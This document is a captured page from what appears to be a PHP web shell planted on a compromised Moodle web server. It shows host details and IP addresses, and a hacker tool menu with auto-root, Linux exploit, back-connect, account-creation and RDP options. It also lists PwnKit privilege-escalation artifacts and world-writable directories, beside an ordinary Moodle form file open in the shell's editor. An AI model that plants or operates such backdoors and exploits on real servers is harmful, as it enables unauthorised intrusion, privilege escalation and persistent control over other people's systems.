Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
question /
type /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
calculated
[ DIR ]
drwxrwxrwx
calculatedmulti
[ DIR ]
drwxrwxrwx
calculatedsimple
[ DIR ]
drwxrwxrwx
ddimageortext
[ DIR ]
drwxrwxrwx
ddmarker
[ DIR ]
drwxrwxrwx
ddwtos
[ DIR ]
drwxrwxrwx
description
[ DIR ]
drwxrwxrwx
essay
[ DIR ]
drwxrwxrwx
gapselect
[ DIR ]
drwxrwxrwx
match
[ DIR ]
drwxrwxrwx
missingtype
[ DIR ]
drwxrwxrwx
multianswer
[ DIR ]
drwxrwxrwx
multichoice
[ DIR ]
drwxrwxrwx
numerical
[ DIR ]
drwxrwxrwx
random
[ DIR ]
drwxrwxrwx
randomsamatch
[ DIR ]
drwxrwxrwx
shortanswer
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
truefalse
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
edit_question_form.php
35.92
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionbase.php
39.24
KB
-rwxrwxrwx
questiontypebase.php
62.81
KB
-rwxrwxrwx
rendererbase.php
9.64
KB
-rwxrwxrwx
tags_form.php
3.69
KB
-rwxrwxrwx
upgrade.txt
11.41
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tags_form.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * The mform to manage question tags. * * @package core_question * @copyright 2018 Simey Lameze <simey@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core_question\form; defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot . '/lib/formslib.php'); require_once($CFG->dirroot . '/lib/questionlib.php'); /** * The mform class for manage question tags. * * @copyright 2018 Simey Lameze <simey@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class tags extends \moodleform { /** * The form definition */ public function definition() { $mform = $this->_form; $customdata = $this->_customdata; $mform->disable_form_change_checker(); $mform->addElement('hidden', 'id'); $mform->setType('id', PARAM_INT); $mform->addElement('hidden', 'categoryid'); $mform->setType('categoryid', PARAM_INT); $mform->addElement('hidden', 'contextid'); $mform->setType('contextid', PARAM_INT); $mform->addElement('static', 'questionname', get_string('questionname', 'question')); $mform->addElement('static', 'questioncategory', get_string('categorycurrent', 'question')); $mform->addElement('static', 'context', ''); if (\core_tag_tag::is_enabled('core_question', 'question')) { $tags = \core_tag_tag::get_tags_by_area_in_contexts('core_question', 'question', $customdata['contexts']); $tagstrings = []; foreach ($tags as $tag) { $tagstrings[$tag->name] = $tag->name; } $options = [ 'tags' => true, 'multiple' => true, 'noselectionstring' => get_string('anytags', 'quiz'), ]; $mform->addElement('autocomplete', 'tags', get_string('tags'), $tagstrings, $options); // Is the question category in a course context? $qcontext = $customdata['questioncontext']; $qcoursecontext = $qcontext->get_course_context(false); $iscourseoractivityquestion = !empty($qcoursecontext); // Is the current context we're editing in a course context? $editingcontext = $customdata['editingcontext']; $editingcoursecontext = $editingcontext->get_course_context(false); $iseditingcontextcourseoractivity = !empty($editingcoursecontext); if ($iseditingcontextcourseoractivity && !$iscourseoractivityquestion) { // If the question is being edited in a course or activity context // and the question isn't a course or activity level question then // allow course tags to be added to the course. $coursetagheader = get_string('questionformtagheader', 'core_question', $editingcoursecontext->get_context_name(true)); $mform->addElement('autocomplete', 'coursetags', $coursetagheader, $tagstrings, $options); } } } }
Close